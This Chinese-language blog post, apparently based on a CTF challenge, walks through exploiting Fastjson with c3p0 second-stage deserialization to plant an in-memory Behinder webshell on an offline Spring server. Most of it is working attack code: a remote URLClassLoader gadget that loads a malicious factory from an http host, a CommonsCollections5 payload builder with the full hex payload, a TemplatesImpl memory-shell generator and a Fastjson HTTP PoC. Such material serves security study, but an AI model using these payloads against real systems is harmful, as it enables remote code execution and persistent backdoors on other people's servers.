Fastjson 中通过 c3p0 二次反序列化打冰蝎不出网内存马

水一篇文章,思路很常见,不是什么很新的东西,没啥新的技巧,起因是在去年出 CTF 题目时想到的一个考点,题目是一道 spring + fastjson,但是忘记给白名单类了+题目不出网,并且是高版本 jdk,所以打起来会非常吃力,就想着能不能加一个 c3p0 来救一下场,于是就有了这篇文章

IceCliffs

友情提示:相关技术已经过时,本文所涉及到的知识仅供参考,不具备任何攻击实战利用姿势

相关依赖,需要手动开启 autoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>

关键路由

1
2
3
4
5
6
7
8
9
10
11
12
13
static {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
}

@PostMapping("/")
public Object parse(@RequestBody String body) {
try {
Object obj = JSON.parse(body);
return obj;
} catch (Exception e) {
return "error: " + e.getMessage();
}
}

原理

Fastjson 就不用说了,大家懂得都懂,主要是 c3p0,这个在以前做 Java 课设的时候经常用到,那时候就在想有没有什么漏洞,一般来说 c3p0 作为 Java 生态中老牌的数据库连接池,在很多人的初学阶段都是 ComboPooledDataSource 直接梭哈,但是一般在搞安全的时候,可以通过 Reference 序列化机制允许通过远程地址加载资源,主要就是利用 com.mchange.v2.c3p0.JndiRefForwardingDataSource,如果你能控制它的 jndiName 属性,就能触发一个标准的 JNDI 注入,打法无非就这几种

  • JNDI
  • 十六进制序列化字节加载器
  • URLClassLoader 远程类加载

URLClassLoader 远程类加载

先来说说这个东西,调用链 ``com.mchange.v2.c3p0.impl.PoolBackedDataSourceBasewriteObject方法。该方法会尝试序列化connectionPoolDataSource属性,由于该属性通常为不可序列化的接口实现,程序会捕获NotSerializableException并进入catch` 块

image-20260307174714099

catch 块中,程序调用 ReferenceIndirector#indirectForm。该方法通过 getReference() 获取对象的引用信息,并封装成一个 ReferenceSerialized 对象进行替代序列化

image-20260307174757765

当目标机器触发 readObject 反序列化时,会调用 ReferenceSerialized#getObject 方法。该方法进一步调用 com.mchange.v2.naming.ReferenceableUtils#referenceToObject

1
2
SerializableUtils.toByteArray(this.connectionPoolDataSource);
oos.writeObject(this.connectionPoolDataSource);

referenceToObject 的第 36-52 行逻辑中,C3P0 会提取 Reference 中的 factoryClassLocation,如果该地址可控,程序将实例化一个 URLClassLoader 从远程地址加载并实例化(newInstance)恶意工厂类,从而导致任意代码执行。

image-20260307175907094

我们接着跟进,会发现 com.mchange.v2.naming.ReferenceIndirector#referenceToObject 方法,在 36#52L 这几行,可以通过 URLClassLoader 实力化远程类,从而造成代码执行

image-20260307180957626

也就是说由于目标类不在本地,C3P0 使用 URLClassLoader 根据 factoryClassLocation 提供的远程 URL 去下载并实例化恶意工厂类,有了思路,就可以编写 exp 了

Gadget:

1
2
3
4
5
PoolBackedDataSourceBase#readObject()
-> ReferenceSerialized#getObject()
-> ReferenceableUtils#referenceToObject()
-> Class#forName(className, true, urlClassLoader)
-> ObjectFactory#getObjectInstance()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Calculator.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.Reference;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.IOException;
public class Calculator implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("open -a Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// urlClassLoader.java
package com.java_c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.logging.Logger;

public class urlClassLoader {
public static class MyLoader implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
return new Reference("Calculator", "Calculator", "http://127.0.0.1:89/");
}
@Override public PrintWriter getLogWriter() { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {}
@Override public void setLoginTimeout(int seconds) {}
@Override public int getLoginTimeout() { return 0; }
@Override public Logger getParentLogger() { return null; }
@Override public javax.sql.PooledConnection getPooledConnection() { return null; }
@Override public javax.sql.PooledConnection getPooledConnection(String user, String password) { return null; }
}
public static void serialize(ConnectionPoolDataSource input) throws Exception {
PoolBackedDataSourceBase pool = new PoolBackedDataSourceBase(false);
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(pool, input);
Field tokenField = PoolBackedDataSourceBase.class.getDeclaredField("identityToken");
tokenField.setAccessible(true);
tokenField.set(pool, "icecliffs_token");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urlclassloader.bin"));
oos.writeObject(pool);
oos.close();
}
public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urlclassloader.bin"));
Object obj = ois.readObject();
try {
obj.toString();
} catch (Exception e) {
}
}
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
MyLoader myLoader = new MyLoader();
serialize(myLoader);
deserialize();
}
}

运行

image-20260307185823253

JNDI

跳过

HEX序列化字节加载器

先来看看 Gadget,为

1
2
3
4
5
6
7
8
PoolBackedDataSourceBase#readObject()
-> WrapperConnectionPoolDataSource#readObject()
-> C3P0ImplUtils#parseUserOverridesAsString(String)
-> ByteUtils#fromHexAscii(String) <-- 十六进制解码
-> SerializableUtils#fromByteArray(byte[])
-> SerializableUtils#deserializeFromByteArray(byte[])
-> ObjectInputStream#readObject()
-> (CC6 / TemplatesImpl / 7u21)

这里为什么说是二次反序列化,因为第一次反序列化,服务器解析了 PoolBackedDataSourceBase 对象,在第二次 C3P0 在恢复自身属性时,发现 userOverridesAsString 字段有内容,于是自动调用工具类将其 Hex 解码,并再次启动一个 ObjectInputStream 来解析这段数据,我们先跟进 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,会发现构造方法调用了 C3P0ImplUtils.parseUserOverridesAsString

image-20260307190928958

接着跟进去,会发它不仅负责解析字符串,还硬编码了对 HexAsciiSerializedMap 这种特殊格式的处理,将原本安全的字符串配置转换成了二进制流

image-20260307191022206

也就是说,我们如果要构造这个 hex 字符串,得满足

1
HexAsciiSerializedMap:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

才可以,我们接着跟进 SerializableUtils.fromByteArray

image-20260307191137589

再次跟进 Object var1 = deserializeFromByteArray(var0);

image-20260307191148326

这里会发现内部直接 new 了一个 ObjectInputStream 并调用了 readObject(),这使得攻击者可以绕过任何 JSON 或 XML 解析器的安全检查,直接执行原始的 Java 序列化攻击,这里用 CommonsCollections5 打一个试试,添加一个依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

然后就是常规的 cc5 exp 编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class hexLoader {
public static void main(String[] args) throws Exception {
String command = "open -a Calculator";
byte[] cc5Bytes = generateCC5Payload(command);
String hexPayload = bytesToHexString(cc5Bytes);
String finalPayload = "HexAsciiSerializedMap:" + hexPayload + ";";
try {
WrapperConnectionPoolDataSource wcpds = new WrapperConnectionPoolDataSource();
wcpds.setUserOverridesAsString(finalPayload);
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] generateCC5Payload(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val, entry);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(val);
return baos.toByteArray();
}
public static String bytesToHexString(byte[] bArray) {
StringBuilder sb = new StringBuilder(bArray.length);
for (byte b : bArray) {
String sTemp = Integer.toHexString(0xFF & b);
if (sTemp.length() < 2) sb.append(0);
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

运行之后我们会得到

1
ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000027372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000002F7400156F72672E6578616D706C652E6865784C6F6164657274000E6865784C6F616465722E6A61766174001267656E65726174654343355061796C6F61647371007E000B0000001571007E000D71007E000E7400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E001778737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00307371007E00287571007E002C000000027070740006696E766F6B657571007E003000000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002C7371007E00287571007E002C000000017400126F70656E202D612043616C63756C61746F72740004657865637571007E00300000000171007E0033737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878

image-20260307191919055

攻击 Fastjson

回到题目本身,来看看怎么打,由于我出的这道题目是不出网的,所以可以打内存马,一般不出网会用到下面这几条链

1
2
3
4
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
org.apache.tomcat.dbcp.dbcp.BasicDataSource
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
org.apache.ibatis.datasource.unpooled.UnpooledDataSource

但如果目标环境是出网,并且你和我一样是懒人,那可以用许少他们写的 Java Chains 直接生成一条,省时省力,点 FastjsonPayload,依次点开 FastjsonC3p0(C3p0 1.2.47) > JavaNativeSerialization(Java Native Deserialization) > Fastjson(Fastjson deserialised chain) > TemplatesImpl(TemplatesImpl) > BytecodeConvert(handles bytecode) > Exec(Execute commands)

image-20260307195308682

打一下

image-20260307194029800

HEX序列化字节加载器上线冰蝎内存马

这个一般是在不出网 + 遇到 Fastjson 或者 Jackson 的情况,开始前,我们得先知道冰蝎的一个加载原理,这一部分可以看看作者的先知文章,写得很好

https://xz.aliyun.com/news/2424

接着网上随便找一个内存马改改,例如我这里是 Interceptor 马,大致原理如下

  1. 获取上下文控制权:利用反序列化或表达式注入漏洞,在内存中通过 RequestContextHolder 或遍历线程组寻找 WebApplicationContext,从而获得操作 Spring 容器内部组件的权限。

  2. 定位核心组件:通过反射机制定位到 Spring 处理路由的核心 Bean——RequestMappingHandlerMapping,在该对象中,存在一个存放所有拦截器的私有 List 集合(通常名为 adaptedInterceptors)。

  3. 动态插入恶意逻辑:编写一个实现 HandlerInterceptor 接口的类,并将其实例化后通过反射强行插入到该 List 的首位。由于拦截器在请求进入 Controller 之前执行,木马可以在 preHandle 方法中截获 HTTP 请求,判断特定参数并执行系统命令。

缝合一下 cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Generator {
public static void main(String[] args) throws Exception {
byte[] classBytes = Files.readAllBytes(Paths.get("target/classes/InjectToInterceptor.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
HashMap<String, Object> map = new HashMap<>();
map.put("trigger", templates);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
String hex = bytesToHex(baos.toByteArray());
System.out.println("HexAsciiSerializedMap:" + hex);
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static String bytesToHex(byte[] bytes) {
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
}

image-20260307215449250

构造 fastjson poc

1
2
3
4
5
6
POST / HTTP/1.1
Host: icecliffs.gov:9090
Content-Type: application/json
Content-Length: 21135

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:你猜;"}}

image-20260307215341697

打一个回显

image-20260307212714631

image-20260307215636479

然后缝合一下冰蝎,在打一下

image-20260307215144750

image-20260307215156678

HEX序列化字节加载器上线哥斯拉

一样的逻辑,不写了

查杀

有空再写吧

Support via Solana

Solana

Solana

Solana Pay

Solana Pay

WeChat

WeChat